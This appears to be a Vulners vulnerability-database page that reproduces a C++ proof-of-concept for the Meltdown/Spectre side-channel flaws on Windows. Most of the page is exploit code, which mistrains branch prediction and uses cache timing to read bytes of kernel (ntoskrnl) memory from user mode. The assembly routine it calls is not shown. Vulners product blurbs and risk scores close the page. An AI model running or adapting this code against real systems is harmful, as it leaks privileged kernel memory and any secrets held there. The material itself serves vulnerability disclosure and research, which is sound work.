Reading privileged memory with a side-channel (Meltdown & Spectre)
10
// CacheAttack.cpp : Defines the entry point for the console application.
// by @pwnallthethings
#include "stdafx.h"
#include <Windows.h>
EXTERN_C_START
void _run_attempt();
DWORD64 pointers[4096 / 2];
DWORD64* speculative;
BYTE* L2_cache_clear;
DWORD64 times[256];
EXTERN_C_END
typedef NTSTATUS (WINAPI *pNtQuerySystemInformation)(
_In_ DWORD SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
typedef NTSTATUS(WINAPI *pNtYieldProcessor)(
);
pNtQuerySystemInformation NtQuerySystemInformation;
pNtYieldProcessor NtYieldProcessor;
#define SystemModuleInformation 11
#pragma pack(push, 8)
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct
{
ULONG ModulesCount;
RTL_PROCESS_MODULE_INFORMATION Modules[100];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
#pragma pack(pop)
BYTE* cacheClear;
size_t run_attempt_single(BYTE* ptr)
{
//
// Set up the loop. The point is to have a big loop that the branch predictor "learns" to take
// followed by a bad speculation on iteration 1000.
//
for (size_t i = 0; i < ARRAYSIZE(pointers); i++)
{
pointers[i] = (DWORD64)&pointers[0];
speculative[i] = (DWORD64)FALSE;
}
pointers[1000] = (DWORD64)ptr;
speculative[1000] = (DWORD64)TRUE;
DWORD64 times_min[256] = { 0 };
memset(times_min, 0xff, sizeof(times_min));
// warm up
for (size_t attempt = 0; attempt < 2; attempt++)
_run_attempt();
for (size_t attempt = 0; attempt < 5; attempt++)
{
_run_attempt();
for (size_t i = 0; i < 256; i++)
times_min[i] = min(times_min[i], times[i]);
}
size_t max_idx = 0;
for (size_t i = 0; i < 256; i++)
{
if (times_min[i] > times_min[max_idx])
max_idx = i;
}
return max_idx;
}
BYTE* value;
int main()
{
int cpuinfo[4];
__cpuidex(cpuinfo, 0, 0);
char* cpuName = (char*)&cpuinfo[1];
value = (BYTE*)VirtualAlloc(0, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
*value = 0x1c;
speculative = (DWORD64*)(VirtualAlloc(0, 0x10000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE | PAGE_NOCACHE));
L2_cache_clear = (BYTE*)VirtualAlloc(0, 256 * 4096, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE | PAGE_WRITECOMBINE);
(*(FARPROC*)&NtQuerySystemInformation) = GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQuerySystemInformation");
SYSTEM_MODULE_INFORMATION modInfo = { 0 };
DWORD dw;
NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, &modInfo, sizeof(modInfo), &dw);
void* ntoskrnlBase = (void*)modInfo.Modules[0].ImageBase;
size_t ntoskrnlSize = modInfo.Modules[0].ImageSize;
cacheClear = (BYTE*)VirtualAlloc((void*)0x1000000, 0x10000, MEM_COMMIT | MEM_RESERVE | MEM_LARGE_PAGES, PAGE_READWRITE);
BYTE* hMod = (BYTE*)(LoadLibraryExW(L"ntoskrnl.exe", NULL, LOAD_LIBRARY_AS_IMAGE_RESOURCE)) - 2;
IMAGE_DOS_HEADER* imgDos = (IMAGE_DOS_HEADER*)(hMod);
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(hMod + imgDos->e_lfanew);
size_t i = 0x1000;
while(TRUE)
{
BYTE* addr = (BYTE*)ntoskrnlBase;
size_t guess = run_attempt_single(&addr[i]);
printf("0x%02x: guess: 0x%02x, real:0x%02x\n", i, guess, hMod[i]);
i++;
}
return 0;
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Jan 2018 00:00Current
6.3Medium risk
Vulners AI Score6.3
EPSS0.92621